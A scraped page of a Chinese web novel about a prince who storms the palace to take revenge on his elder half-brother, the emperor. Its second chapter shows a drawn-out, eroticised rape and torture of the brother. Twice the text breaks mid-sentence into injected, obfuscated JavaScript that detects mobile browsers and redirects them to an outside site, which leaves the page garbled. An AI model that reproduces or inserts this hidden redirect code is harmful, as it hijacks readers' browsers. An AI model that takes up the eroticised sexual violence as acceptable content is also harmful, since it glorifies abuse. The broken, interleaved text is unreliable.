《给仇人喂下情蛊后》 1. 逼宫 暴雨如瀑,朔风烈烈,掀翻檐角琉璃朱瓦,瓦片落地,咔嚓一声脆响,飞溅的碎片被来人踏在足下。 萧凌晏驻步,抬眸望向几尺外的崇光殿门。 崇光殿乃帝王寝宫,他所寻者正在此殿安寝,与他只一门之隔。而他身后,黑压压一片皆是身披甲胄,负剑执枪的精兵亲信,正高声笑语:“我等今夜真是有如神助!京城内外睡得死沉,全无抵抗之力,殿下实乃天命所归!” 萧凌晏面无表情,眸中寒意更胜这凛冬时节的暴雨。有如神助……呵,哪是什么神明襄助?分明是只恶鬼罢了。为今夜万无一失,他允了它开的条件,以未来国师之位,换一城沉睡。 他知这无异于与虎谋皮,但他已没有耐心,憎恨每在他心间多存一日,他便觉自己仿若多受一日的烈火焚身。 “都退下。”他冷声道:“不得我令,擅扰者死。” 众人面面相觑,为首之人忽上前几步,斟酌着语气道:“只您一人,会不会……”秦协不敢明说,但里头那位昔日还是皇子时武艺便已登峰造极,宫内外无人能敌,一对一,恐怕……他说着瞄了眼萧凌晏的面色,霎时浑身一凛,当即改口:“末将多嘴。” “滚。” “是!” 萧凌晏推开殿门,衣角滴落的雨滴瞬间打湿干燥的宫殿地面,绽开滴滴水渍。 门一合,潇潇雨声便被关在外头,殿内空余冷寂,只闻长明灯盏内烛火哔啵作响。 那人合衣伏在书案前,阖眸沉睡,案上铺开着的是批了一半的奏表。萧凌晏讽刺一笑,看来他是真喜欢做皇帝。 他缓步上前,举剑横在对方颈侧,剑刃锋锐,瞬间划开一道细长伤口。 只要再加些力,这截细长的颈便会被完全割开,涌出的大股血液会瞬间湮没这残害手足的冷血之辈,弑父夺位的不正之君,终结折磨他一千多个日夜的刻骨仇恨…… 可被刀架着的人却在此时突然醒转,抬眸望进他癫狂冰冷的眼。 这是长他六岁的兄长,亦是他恨了三年的仇家,对上来寻仇的昔日幺弟,此人目光竟是短暂怔愣须臾便恢复往日淡然。 “晏弟。”他轻声唤他。 萧凌晏的身体霎时不听使唤,僵在当场,握着的剑重若千钧之鼎,手腕连带整柄剑都开始颤抖。 他唤得那样亲热平常,仿佛这不是血淋淋的逼宫之夜,而是十五六岁时的某个夏日傍晚,出宫游玩归来的弟弟来宫里寻他,他会轻轻为弟弟取下发上匆匆赶路时粘上的花瓣,也会笑着问他,“回来了?这回又去了何处耍?可还尽兴?” 萧凌晏紧了紧手中剑,那已是湮没在记忆中,无法触及的曾经,今时今日,他两之间,只余血海深仇。 他死死盯着眼前人,为何不惧,为何敢这样坦坦荡荡直视他? 萧珺睁着仍有些朦胧的眼,无声凝视被雨浇得湿透,却丝毫未减身上戾气的来人。三年未见,这张俊美无俦的脸一如往昔,只是棱角比上回见时更锋利,完全褪去了少年人的稚气,高大身影投在案上,眸中幽火跃动,形如鬼魅,强烈的压迫感竟令他有些喘不上气。 凝望半晌,他忽觉脖颈刺痛,这才想起横在颈前的剑刃,寒芒之上已混了他的血。 沉默半晌,他极轻地叹气:“你还是不愿信我。” “我凭什么信你?凭你信里的鬼话连篇?”萧凌晏遽然回神,忽重重将厚厚一沓书信甩在案上。 信纸被攥得变了形,又浇了一夜的雨,早糊得看不清字样,废纸似的堆在桌边。 他欺身而上,剑顺势逼得更近:“我在北疆三年,你几个月才舍得给我去一封信,三年拢共也才十二封,可自我起兵,你巴不得日日送,时时送,这才多久啊,就积了这么厚,字字句句都在劝我退兵,怎么,就那么怕我抢回你偷来的皇位?” 萧珺毫不避忌横在性命攸关处的利刃,依旧端坐案前,语气平静:“我信中已说得明白,这位子你大可拿去,但你如何都不该这时回来,至少也得过了二十二岁生辰。” 萧凌晏觉得可笑:“事到如今,你还想用那套荒谬说辞骗我?” 他十八岁那年,这人骗他说自己的梦有预知之能,又言梦见他三日后会被恶咒缠身,以至于二十一岁时便病死宫中,唯有暂时离京方能保住性命。 他打一开始就不信这等无稽之谈,且不说预知之梦听起来有多荒谬,他从来身体康健,风寒都少有,岂可能二十出头便因病暴毙? 但萧珺坚持:“我会陪着你的,等四日后,你成功避过那恶咒,我们就回来。” 他那时就是有那么蠢,对这么个居心叵测之人万般依赖,百般顺从,虽不信恶咒一说,却对“与三哥一道出宫游玩”满心期待,毫不犹豫点了头,甚至还觉得四日太短,自作主张拉长了些。 他说服母后和父皇答应他出宫游玩半月,可谁料离宫第二日萧珺时便自称染了风寒,又如何都不愿宣太医诊治,只成日窝在榻上不出门,见其病容惨淡,他忧心忡忡,亲自守在榻边悉心照料,听萧珺突然说想去北疆看雪,居然也本着病人为大答应了,事后证明这根本就是个精心策划的圈套。 萧珺事先安排的人马强行将他留在北疆,他自己则回了京城,美其名曰这是为了保护他,说什么过些时日就接他回来,但萧凌晏很快发觉,这分明就是软禁。 他不知萧珺寻来的那些道人究竟用了什么妖术,竟是将他困在那古怪宫殿之中,虽行动自由,却无论怎么走都会回到原地,无法迈出宫门半步,若非半年前机缘巧合得那恶鬼襄助逃出生天,他此时恐怕还身陷囹圄。 但他出来得还是太迟,三年间,父皇薨逝,母后病重……物是人非,而罪魁祸首却在此大言不惭,旧事重提。 他手中剑刃愈发蠢蠢欲动,叫嚣着要喝饱这贱人的血。 萧珺却自顾自站起身:“你劫难未解,速速离京。” 速速离京?萧凌晏看见他说话时的平淡神色,突然就怒不可遏,他如何敢的?杀了我的血亲,夺了属于我的皇位,毁了我的一切,竟还敢对我说这种话,如此理直气壮赶我走?你凭什么? 他哐当丢下剑,挥拳砸向眼前这张他少不更事时曾在春梦中见过的脸。 就这样弄死他也太轻纵他了,他要他畏惧,要他悔恨,要他生不如死。 许是几年的养尊处优叫这人疏于武艺,变得不堪一击,这样不轻不重的一拳竟是直接将其撂倒在地,半晌爬不起来。 他瞧着像摔得厉害,又像染了什么隐疾,屡屡试图起身,却又每每都脱力跌回地面,胸腔里不断溢出沉闷的咳喘声。 他艰难抬头看向萧凌晏:“你何时变得这般……” “你竟还问得出口。”萧凌晏居高临下睨着在地上挣扎的昔日皇兄,忽一脚踹在他勉强支起的肩头,用力将人踩回地面。他的眼神愈发轻蔑:“我也觉奇,你何时变成了这么个彻头彻尾的废物?” 他一面觉得这般报复畅快,一面又觉得这人的狼狈模样实在扎眼。这还是当年那个武艺出众,轻功卓绝的萧珺吗? 他不可避免地又想起从前。他十岁那年初学武,十六岁的萧珺却已是此道翘楚。萧珺同所有兄弟都不亲,只和他好,会的都教给他,个中门道掰开揉碎同他讲,比教习师父讲得还细,他听懂了,连连点头,他便摸摸他的头,夸他聪明,一教就会。他至今还记得他那张对着旁人冷漠阴郁的脸是如何看着他微笑的。 虽恨其入骨,但他又不得不承认,萧珺的确有一副好皮囊,笑盈盈注视着他时尤甚,京中美人无数,却再无第二人能令他那般沉醉。他想这人大抵也是会点妖术,不然岂能把过去的他骗得五迷三道? 他觉萧珺与世间诸多毒物相似,越是表相动人,勾人心魄,便越是见血封喉,狠毒无情。 真可惜他看透得太晚。 他为自己曾经倾注的一腔真心不值,心头愤懑,忍不住俯身掐住眼前这截正在渗血的脖颈,缓缓施力。 萧珺微弱的声音被他掐得断断续续:“比起……刀剑……这样……亲手掐死……我……更解恨么?” 萧凌晏冷笑:“在那苦寒之地的日日夜夜,时时刻刻,我都在想如何弄死你,萧珺,你凭什么还能活着,天为何还没把你这贱人收走?” 他感受着掌下清晰的脉搏跳动,指头几乎嵌进对方颈骨里。这么细,这么脆弱,真想就这样折断它。 可他没有,他盯着眼前这张因窒息而血色上脸,却更显艳丽的面孔,突然松开了手,转而去撕他身上的衣物。 “这般姿色,轻易杀了实在可惜,”他的手掌探入衣物下粗暴抚弄,声色阴冷:“你这副模样,比起做皇帝,更适合在人身下承欢。” 见萧珺的神情先是僵硬,旋即染上愤怒,他心头登时腾起一股扭曲的畅快。 萧珺深吸了一口气:“你要如何才肯信我?” “信你?好啊,若你答得上来我的问题,我便信你。”萧凌晏唇角一勾,扯出一抹阴冷怪诞的笑:“既然你自称有预知之能,想来也曾预见过自己的死期?” 萧珺眸光微颤。须臾,他缓缓颔首:“是。” 萧凌晏手掌重重抚过身下人瘦削腰身,凑近他耳边低声道:“待我玩腻了,便打断你的腿,送你去南风馆,那些个急色之徒不知节制,花样繁多,不出三日,你定会被活活玩死在榻上,这便是你的死期同死法,如何,你可梦见了?” 萧珺怔怔望着眼前人,胸腔里那吃力跳动着的玩意儿一阵一阵地剧烈刺痛。 君父薨逝定然会令萧凌晏憎他至深,他已有预料,纵此事非他所为,可包庇真凶,助纣为虐,他这个同犯又谈何无辜?萧凌晏恨他,取他性命,他都无怨无悔,若能重来,他依旧会冷眼旁观那人咽气。 唯有一件事他不想被曲解:从始至终,他于凡俗权利毫无欲求,所盼仅是眼前人平安康健,长命顺遂。他爱重他,既是出于兄长对幺弟的照拂,更是出于……他深埋心底,不敢宣之于口的越界之情。 可对方一门心思觉得他是要害他。 他只能再度解释,信里翻来覆去说了无数遍,此时又一次述之于口,已让他有些倦烦:“三年前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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无人知昔日宠妃为何会沦落至在冷宫自戕而亡的凄惨下场,但宫人见多了腌臜,又岂会没有猜测,有人说那女人是妖物精怪,才被如此忌惮,但更多人觉得是她私会情郎时被抓了个现行,皇帝念及旧情,没杀她,却疑心这孩子血统不正,才这般苛待。 这些话从未传进萧珺耳中过,萧凌晏曾数次背着他拔去宫人爱瞎扯闲话的舌头,剁碎他们爱指指点点的手指,只为震慑宫人,堵住闲言碎语,不让他心尖上惦念着的兄长闻言难堪失意。 萧凌晏可以毫不犹豫地说,他与母后,是这世上唯二对萧珺好过的人,连他的心情都小心翼翼照顾着,但这冷血之人眼里只有那万人之上的位置,父王不属意他,他便犯上弑父;母后不拥戴他,他便发配芜山;谁要同他争,他便圈禁流放,甚至暗杀夺命,无所不用其极。 即便是萧凌晏,是阖宫上下唯一爱敬他的弟弟,他也依旧编了这么个漏洞百出的谎言,骗这对他一片赤诚,满心信任之人去那苦寒之地,缚他在那处受尽风霜雨雪。 实在可悲,心生悲悯将冻僵的毒蛇揣在怀里捂着,可它缓过劲来,最先咬的就是予它温暖的好心之人。 萧凌晏唇角勾起的微笑没有任何温度,那些风言风语被他化作刀刃,深深扎在对方身上:“你道为何父皇那般憎恶你,兄弟们都讨厌你,连宫人都总用那样奇怪的眼神看你?因为你根本不是什么皇子,只是个野种罢了,宫里头谁都知,你的亲爹,只是个不知来历的野男人,你有什么资格觉得自己同我是血亲,是我的兄长?” “……”萧珺没有说话,也兴许是无法出声:他又开始咳喘,比先前更剧烈了,急促到无法吐出字句,甚至于被重重抚弄着的躯体都颤得厉害,额角冷汗津津。 好不容易捋顺了气,终于不再那般撕心裂肺的咳嗽,面上却没什么表情,没有萧凌晏想看见的惊骇,崩溃,绝望,只是抖着手不断推开萧凌晏的胳膊,试图从他的桎梏下脱身。 萧凌晏眯起眼睛,这不是他要的反应。 他突然攥住他无力的手臂,用撕碎的衣物死死捆在桌脚,接着蛮横分开他的腿。 萧凌晏对这等污秽淫靡之事其实毫无兴致,但萧珺于他总归不一样,许是少年春梦里让这人做过另一个主角,要他亵玩凌辱眼前这具躯体,他心头没有任何抗拒,只有掀翻了理智的阴暗快感。 他眯起眼睛,摁住萧珺挣扎不休的身躯:“我没现在就凌迟了你,已是开恩,甚至还愿意碰你,你该心怀庆幸受着才是。” 话音刚落,萧珺猛地踹在他身上。 虽无甚威力,击中的却是腰肋这等毫不设防处,一时间仍叫萧凌晏疼得面色扭曲,他霎时暴怒,发狠地钳住那两条腿,分筋错骨,直接令其脱了臼。 这一下应是痛极。萧珺遽然向上弓起腰身,消瘦肋下的骨几乎要刺透皮囊破体而出,但极致痛楚抽走了他全部体力,他又重重跌了回去,彻底瘫软在冷硬地面,眼中瞬间盈满水汽,不知是泪,还是淌入眼中的冷汗。 萧凌晏不甚满意,他倒是能忍,这样也能不惨叫求饶。 他眼中寒意更浓:我倒要看看你能撑到几时。 脱臼的腿无法再阻拦他的动作,毫无抵抗地任由他摆弄,萧珺别过脸,面孔藏进桌下阴影之中,萧凌晏当即用力将他的脸扳了回来,强迫他亲眼看着自己是如何被凌辱折磨的。 2. 凌辱 毫无准备,单刀直入。如此粗暴直接,连他这个施暴者都觉得火辣辣的疼,更别提承受者。 萧珺瞳孔剧缩,本就没有血色的脸愈发惨白,身躯控制不住地哆嗦痉挛,束缚着他手臂的桌脚被挠出几道带血的深痕,但指甲崩裂的痛楚想必是比不过另一处的万分之一,他艰难而凌乱地吸着气,腰腹起伏得厉害,像离水已久,性命垂危的鱼。 萧凌晏也不爽利,虽有血液助力,却依旧艰涩难行,他不耐烦道:“这样不经弄,到时怎么接客?松快些。” 这等言辞俨然对萧珺刺激不小,被牢牢制在掌中的身躯霎时绷得更紧,叫他愈发难受。眼看不得行,他目光扫视一圈,拾起丢在不远处的剑。剑柄圆钝冰冷,坚硬非常,非血肉之躯所能比拟,羞辱意味想必亦更甚人身。 果然,换作此物,他终于听见萧珺唇齿间泄出的一声颤声痛吟,很轻很低,却令他心头扭曲暴虐的欲望愈发高涨。 他立刻抬眸,想欣赏仇人备受折磨,痛苦不堪的丑态,却望进一对被泪液柔化了锋锐棱角的眼睛,朦胧涣散,流泪不止。 他忽怔住,心脏猛地颤了一下。这人在他跟前永远沉静得体,他从未见他落泪。 萧珺的眸中没有焦距,被他的身影填满,他恍惚间似乎又瞧见了他曾钟情过的那个人,瞧见春梦里主动将自己的身体送上来,温柔搂着他,热烈迎合他,不断在他耳畔诉说爱意的兄长,那时的他便是这样迷离专注望着他的。 他手上粗暴动作不由一滞,但很快这对眼睛便聚起厚厚坚冰,冷漠的目光击碎了萧凌晏年少幻想中的柔情。萧珺的眼里,只有愤怒与怨怼在冰下翻腾,方才的失神不过是被剧痛暂时蒙蔽了理智而已。 “你还有脸怨我?”萧凌晏勃然大怒,粗蛮握着剑柄末端施虐不断,毫不留情,血液很快顺着剑柄淌下,染红他的手掌。 他忽眸光一利,另一只空闲的手以迅雷不及掩耳之势掐住身下人的下颌,修长手指顺势扣进对方口中,卡在舌与用力咬下的牙齿之间。 “想咬舌自尽?”萧凌晏丝毫不顾被牙咬得剧痛的手指,继续在他嘴里翻搅,玩弄着那截舌头,“做梦。让你死得那么干脆,岂不是便宜了你?”他目光阴郁,唇角的微笑愈发令人不寒而栗:“就算死,你也得死在床榻上,被人凌辱至死。” 他突然用力撤出剑柄,萧珺身躯一颤,痛苦地仰起脖颈,登时咬得更狠,他所剩无几的力量大抵都集中在这口牙上了。 “狼心狗肺之人,连牙都似狼狗尖利。”萧凌晏边恨声辱骂,边掐着他的腰腿将人拖近。 这具消瘦的身躯没什么重量,单手也能拖得动,胯处嶙峋的骨甚至有些硌人,怎么有人做皇帝做成这副德行的,不知道的还以为被丢去北境受苦受难的是他呢。 萧凌晏忽觉莫名不快,说不清道不明,他嘴上于是念得更狠:“咬啊,咬断了最好,其实你从始至终都恨我恨得牙痒,早想这么咬死我了吧?恨我什么都有,恨父皇母后都属意我,恨我生来就能拥有王位,而你,全靠我同母后仁慈才能捡回一条烂命,赖在这宫里吃香喝辣,如此天壤之别,岂能不嫉恨得眼红?对着我扮了那么多年好兄长,是不是自己都觉得作呕?” 萧珺眸光一颤,望着他的目光复杂无比,憎怒尤在,可怨怼之下,分明是丝丝缕缕的悲伤。 他忽松了口,又忍不住低声朝他辩解:“别的都罢,但你……我一直视你……为至亲手足,不曾想过伤你……” “至亲?手足?”萧凌晏哂笑:“以为说些好听的我就会放过你?”他甩了甩被咬得发麻的手,团起碎衣堵住对方的嘴:“我可不是区区剑柄能比的,再痛你也得清醒受着。” 先头有剑柄借着血液开路,这回总算没上一回那般难捱。他不管不顾地来回几次后便迅速寻到门道,开始觉得快活,不只是身躯沉迷于这等低俗欲望,更是为对方因无间断的折磨而战栗不止的躯体,惨无人色的面庞。 看着萧珺面上难以抑制的痛苦神情,萧凌晏心头粗蛮暴虐的欲望急剧暴涨。 他死死掐着近在咫尺的惨白躯壳,一遍又一遍将无处发泄的憎恨填进仇人的身心灵,口中讥讽尖利:“你这身子倒是很会伺候人啊,是不是也随了你那水性杨花,淫=乱放浪的娘?” 萧珺眼中愤怒更甚,阴森地堆在眼底,彻底覆盖原先隐隐约约的哀痛。他听不得任何人对母亲的言辞侮辱。 萧凌晏很快不满足于沉闷的发泄,他想听见仇人哭喊求饶,惨叫不断,他于是又将那团布料扯了出来,拇指用力抚过眼前血色尽失的唇瓣,“很痛吧?求我,我听舒畅了,许是会大发慈悲,轻些弄你。” 萧珺冷冷盯着他,半晌,他忽张开发白颤抖着的唇:“你可知,父皇的尸首……现在何处?” 萧凌晏头皮一紧,手掌瞬间加力,几乎要把掌中细腰折断。 他其实还存了些不切实际的幻想,祈盼父皇还活着,只是被萧珺关在了什么地方,毕竟活要见人死要见尸,而朝野上下无人见过先帝尸身,只知先帝急病崩逝,继位者却是名不见经传,身世成谜的第三子。 萧凌晏深知父皇身体硬朗,还正值壮年,怎可能一场病就去了?但他这些时日来四处打探,却始终一无所获,父皇究竟出了何事,又在何处,除了父皇失踪前最后召见过的萧珺,无人知晓,也正因此,罪魁祸首是他已毋庸置疑。 萧珺阴冷一笑,苍白到近乎透明的脸被昏暗烛光衬得宛若怨鬼,他逐字逐句说得极慢:“我命人将他剁碎成饼,喂了狼狗。畜生们许久未见荤腥,吃得渣都不……” 他的话戛然而止——萧凌晏再次掐住他的脖颈,面庞因极致愤怒显得有些扭曲狰狞,他遏制不住杀心,掌下颈骨被他掐得咯吱作响。 杀了他!杀了他!他心里不断叫嚣着。 可最后关头,他居然还是收了力。 实在可笑。他这双手染过无数血腥,夺过无数人命,偏偏对上这个最该死在他手里的人,却总使不出力。他的杀心明明如此汹涌,可却总有另一股同样汹涌的情感拖拽他为己,为父复仇的步伐,叫他两次都下不了死手。 他死死盯着自己发着抖的手和被他掌上血污弄脏的仇人的脸,这人面上的淡漠神情格外扎眼。 他无声盯了半晌,忽一掌击了下去。 他用了十成力,可即将落实瞬间,他手腕又是一颤,凌厉掌风擦过萧珺脸侧,重重击在地面上,地砖霎时龟裂,飞溅的碎石块滑破萧珺面颊,留下几道细小红痕。 萧凌晏重重吐了口气,扭曲一笑,为自己一而再再而三的收手寻到了理由:“你故意的是不是?逼我杀了你,好让你解脱?我偏不让你如意。” 萧珺眸中厌倦一闪而过:“怎么,不敢杀我?” “你这条贱命自有天收,无需我脏了自己的手。”萧凌晏发狠地继续施暴,剧痛和耻辱瞬间将这人面上的冰冷防御击垮,只余沾满血泪的苦痛。 他冷声诘问:“你究竟将父皇的尸首藏在何处?” 萧珺紧咬的牙关间挤出几字:“剁……碎喂了狗……” 萧凌晏再度拾起手边剑,剑刃指着他:“再不说实话,便换这头弄你,我倒要看看这张嘴有没有你上面那张硬。” 萧珺嘲讽地呵了一声:“早知……你这么……想见他,就留一碗给你了……” 萧凌晏气得嘴唇都在哆嗦,他不可能真的用锋利剑刃捅进他身体里,可这混账像是看穿他的色厉内荏,又或许是自觉烂命一条,满不在乎,如何威逼都无济于事。 他一时束手无策,只觉怒火中烧,愤懑和憎恨灼得他五脏六腑都觉炙痛。 北疆三年,他思虑过重,时常酗酒消愁,可酒令他连日宿醉头痛,夜夜不得安寝,入睡很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16522711|186286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难,惊醒却易,醉后才能勉强睡上几个时辰,酒于是又成了助眠之物,白日举杯消愁,夜里烂醉入梦,如此毫无节制,他的脾胃自是被酒伤得不轻,而今情绪激愤过界,像往他的胃里扎了一刀,瞬间痛得钻心,喉头忽涌上一股腥甜。 他立马咽了回去,可还是有一小缕顺着唇角淌了出来。 血痕醒目,萧珺面色微变,冷冽目光瞬间柔化几分,眼底关切暗暗浮动。 他犹豫半晌,低声问:“今日……可曾用药?” 萧凌晏冷笑,若真在意他的死活,当年就不该把他丢去那鬼地方。听闻他酗酒过度至脾胃受损,严重时甚至呕血,才假惺惺指派几个太医来成日盯着他戒酒,盯着他喝那些苦药,有什么用? 每每看见那几个聒噪不停的老东西,他就觉得烦,对这人的怨恨有增无减。 他随手抹去唇角血液,摸出药瓶往口里一倒,清苦药丸入口即化,叫他舌尖苦得发麻,混着血液腥甜,滋味直叫人欲呕,见效倒是快,痛楚顷刻间不翼而飞。 萧珺蹙眉:“这是何药……药力未免太猛……” 萧凌晏丢了药瓶,神情漠然:“干你屁事。” 萧珺被缚在桌脚的手臂下意识挣了挣,似乎想做些什么,但束缚太紧,挣脱无能,只得作罢。 他望着萧凌晏,忍不住轻声劝告,却被对方蛮横动作撞得断断续续:“你脾胃……不好,又气血……凝滞,需……多加调理,往后……莫要……饮酒了……就算……恨我,也……不用这般……折磨自己。” 萧凌晏顿了顿,被他似假还真的关切弄得胸口发闷。这人是好兄长的面具戴久了脱不下来了吗,这种虚情假意的话是怎么逼自己一而再再而三说出口的? 更可怕的是他居然还能为这些假话动摇。 他顿觉自己贱得慌,竟对这么个蛇蝎心肠,毫无人性的东西尚有余情。 他忽猛地一送,极深极重:“还教训起我来了?你配么你?也不想想自己什么身份,真当你是我亲哥?” 这具本已逐渐麻木的身躯显然被他弄得再度痛苦不堪,颤得比之前任何时候都更厉害。 萧珺垂下眼睫,不再多言,也不再看他,无论萧凌晏如何再盘问父皇尸首的下落,得来的都只有沉默。 他瞪着眼前人,其耷拉着的长睫被冷汗与泪液打湿,墨黑一片,垂落眼睑处,如白纸上晕开的墨色字迹,字里行间写满木然与抗拒。 他气不打一处来,又不知怎么逼他屈服,再强硬的手段用在这人身上都毫无作用,像投入粘稠泥浆的石块,激不起半点水花。 他最终选择选择眼不见为净。 他又堵上萧珺的嘴,扯断束缚着他一双胳膊的桌脚碎布,蛮力迫使人翻了个面,反扣其双臂从背后继续折腾,瞧不见那叫人火冒三丈的冰冷神情,他才觉得爽快些。 可很快他又有了新的不满:被他侵占着的这具躯壳……未免有些触目惊心了。 正面看只觉他消瘦,背后看才知到底这副身躯已病态到何等境界,毫无血色,削薄如纸,颈后椎骨清晰可见,肩胛几乎能穿透薄薄皮肉扎出来。他不禁在他背上捋了一把,只觉硌得慌。 萧凌晏眉头紧锁,才二十六岁,就把自己弄成这副人不人鬼不鬼的模样,没事学那些个半截入土的人炼丹做什么,实在不可理喻。 他不由收了些气力,怕真就这么折腾死了,他可没有奸=尸的兴致。 沉默着又弄了一阵,他终忍不住问:“太医给你瞧过没有?” 萧珺久未回应,屋内沉闷静谧得只能听见两人躯体间混乱淫=靡的响动,萧凌晏觉得掌中躯体越来越热,越来越软,他心头一突,将人又翻了过来,这才发现对方早已昏厥多时。 双眸紧闭,苍白面孔染着几分潮红,却又分明不是情动所致,他下意识一碰,滚烫,竟是在发烧。 3. 兄长 萧凌晏忽然就没了兴致,他草草完事,拭净掌上血污,起身时衣物已穿戴齐整,浑然瞧不出方才发着狠折磨人的疯魔相。 他觉他理应离开此处去忙正事,将这十恶不赦之人丢在这儿任其自生自灭,或是送去邪淫浑噩之地受尽凌虐。可他迈不开腿,挪不开眼,阴沉目光一瞬不瞬黏那在瘫软地面不省人事,烧得面色绯红的人身上。 他恨了千日,见他如此狼狈,气息奄奄,分明觉畅快无比,可瞥见其左手掌心那道陈年旧疤时,他的五脏六腑却又像被一只无形的手攥紧。这滋味不及冰冷烈酒灼伤脾胃的刺痛,亦不如北疆寒风扎进骨髓的僵冷,更比不过听闻父皇崩逝时的撕心裂肺,却依旧揪得他心慌,喘不上气,仿佛比痛更磨人,抽丝般盗走他的魄力果决,叫他无法拂袖而去,只得留在原地踌躇。 毕竟……恨他的这千日之前,他也曾爱他千日不止。 他面无表情地俯身抱起地上人,转身进了屏风后的内室,将人裹进榻上厚厚被褥后,又命殿外侍从去传太医。他为自己此举找了个合乎情理的理由:他还没从这人嘴里撬出父皇下落,万一叫他烧坏了脑子,记忆丢失,甚至把命烧没了,那可真就什么都问不出了。 但他心里其实一直明白,也终于愿意承认:他根本就不愿这人死。 是舍不得?还是不想放人这么轻易地摆脱折磨?他给不出答案。 他分不清是今时今日的恨意更浓烈,还是过往岁月的倾慕更深刻。明明身躯已从北疆那古怪宫殿中逃离,他却觉自己的魂灵依旧困于此人编织的另一重无形监牢之内,缚于交织缠绕着的爱恨情仇之中,不得自由,终生困顿。 他记忆超凡,从小到大所历桩桩件件,事无巨细,尽数不曾忘。尤其是同与这人有关的画面,皆栩栩如生,恍若昨日。他记得他这只手因何留疤,也记得他何时起对这名义上的兄长生了别样心思,甚至记得他们都还年少时,是如何依偎而眠的。 他开智极早,刚出娘胎时便能听懂身边人的交谈: “这孩子怎的不哭?” “古怪,怎有人刚出生就睁着眼?” “你瞧,他眼珠子在动……瞧着像是在寻什么东西?” 萧凌晏也不知自己究竟要寻何物,他不像任何一个初至人世的新生儿,对这个陌生世界充满恐惧与抗拒,反倒异常平静理智,他知道他来这世上一定是为了什么,可他脑袋里空空如也,毫无头绪。 出生后的几日里,他一连见了许多人,母后,父皇,后宫一众嫔妃,最后是他的哥哥姐姐,最长者是大哥,也不过十三岁,看着仍是孩子。 他不知尚在襁褓中的自己有什么资格说这些年长于他的兄姐是孩子,但他放眼望去,又的确觉得这些分明是孩童,却要恪守皇家礼仪摆出一副大人样的家伙滑稽而稚嫩。 他们仿着各自的母妃,戴着讨好虚伪的笑容恭贺父皇母后,伸着手来逗弄他,仿佛同父皇母后一样为他的降生而欢悦,但他看得分明,他们笑盈盈的眸子底下埋着忌惮与嫉恨。身在皇家,嫡子意味着什么他们早心知肚明:这小东西注定是未来储君,生来气运在身,命途顺遂,见者如何能不眼热恨妒。 但萧凌晏并不在意这些。眼前这些皆非是他要寻之物。他不乐意看他们,于是闭上眼假寐,却不想婴儿嗜睡,甫一合眼,便真睡得昏沉,再醒来时,却见母后靠在床头,捧着书轻声细语念给人听。 那也是个孩子,并非白日见过的那些,他更安静,也更瘦弱,像只幼犬或是猫仔,静静伏在榻边,垂眸盯着母后摊开在腿上的书,视线随母后的手指在纸上移动,被暖黄烛光染得金光灿灿的纤长睫毛时不时微微颤动。 似乎察觉到落在身上的视线,他忽抬眼望了过来。 这一刹那,萧凌晏觉自己许是上辈子见过他,亦可能只是此人身上有什么巫咒,否则何以解释对视瞬间,他心口莫名的钝痛与热胀酸涩的眼眶? 这感觉太陌生,他不知如何是好,只本能地舍不得眨眼,愣愣盯着对方。眼前一切尽数褪色,视野中只剩这人黑亮的眸。 有什么东西瞬间在他眼中凝聚,当面颊变得冰冷湿润,他才恍然惊觉自己竟是不知何时已泪流满面。 “母后,他怎么了?”他看见那人探身过来,伸手轻轻碰了碰他的面颊,“为何在哭?” 母后闻言却笑:“婴孩岂有不哭的。偏偏他出生后安静得骇人,我正愁呢,现在可好了,原来是会流眼泪的。” “那这还是好事?”那人顿了顿,又小声嘀咕:“他的脸好软……”他忽微微睁大眼睛:婴儿突然抬起细小的手掌,攥住他的手指。 他慌忙转头,无措看向含笑注视着他们的雍容妇人:“母后……” “他瞧着倒是很喜欢你。”母后慈爱地摸摸少年的头:“日后要做个好哥哥,爱护幼弟,知道吗?” “嗯。”少年小心而又新奇地捏捏那只小小的手,郑重颔首,“我会的。” “你呢,”母后又俯身亲吻襁褓中的孩子,轻声嘱咐,“你则要做个好弟弟,爱敬兄长,可听见了?”婴儿不会说话,只用黑葡萄似的眼睛静静望着她,她面上笑意由是更深。 萧凌晏看得懂她眼里闪烁的幸福与满足。她珍重地搂住两个孩子,幼者她怀胎十月,自是血浓于水,长者虽非她亲生,她却也视若己出,她轻声道:“为人母者,不求更多,只盼你两兄友弟恭,平安喜乐。” 一切的确如母后期许。萧凌晏很黏这大他六岁的哥哥,吃喝玩乐都要他陪着,睡觉也要挤在哥哥身边,连抓周时都不愿松开哥哥的手。 父皇如何都看不顺眼,但他从小执拗,一见不着哥哥便发怒地丢东西,摔碎无数御赐之物,对抱着他的任何人拳打脚踢,终于让父皇勉为其难地妥协,放任他两亲近。 他喜欢哥哥身上淡淡的桃香,虽他刚出生不久,其实还不曾见过桃,可他莫名就是知道,甚至稍作回忆便能想起蜜桃甘甜多汁的美妙口感。不过哥哥并不像桃肉那般绵软,他坐立皆笔直端方,不见半点佝偻松垮,像柄出鞘的剑,百炼成钢,宁折不挠。 好在这时他的性子并不如刀剑般冷硬,相反,格外温柔,萧凌晏早慧,说话也比寻常孩童早,他记得他第一次开口喊人,磕磕巴巴唤出“哥哥”二字时眼前人瞬间晶亮的眼睛。 他显然是喜欢被他黏着的,入睡前会学着母后给他讲书,被他缠人地搂着不放时会弯起眼睛微笑,天气晴好时会带他去御花园晒太阳,教他辨认花草鸟兽。 他好像什么都认识,每一株草,每一片叶,他都能唤出名字,自然万物似乎也都亲近他,被他手掌拂过的花叶皆生气盎然,迎风翩翩起舞;抬起手指,便有鸟雀或是虫蝶降落其上,乖巧地被他举着递到弟弟跟前,“要摸摸它吗?” 萧凌晏并不想摸这些脆弱的小东西,他对这世上大多事物毫无兴趣,即便它们瞧上去华丽夺目,乖顺安静。 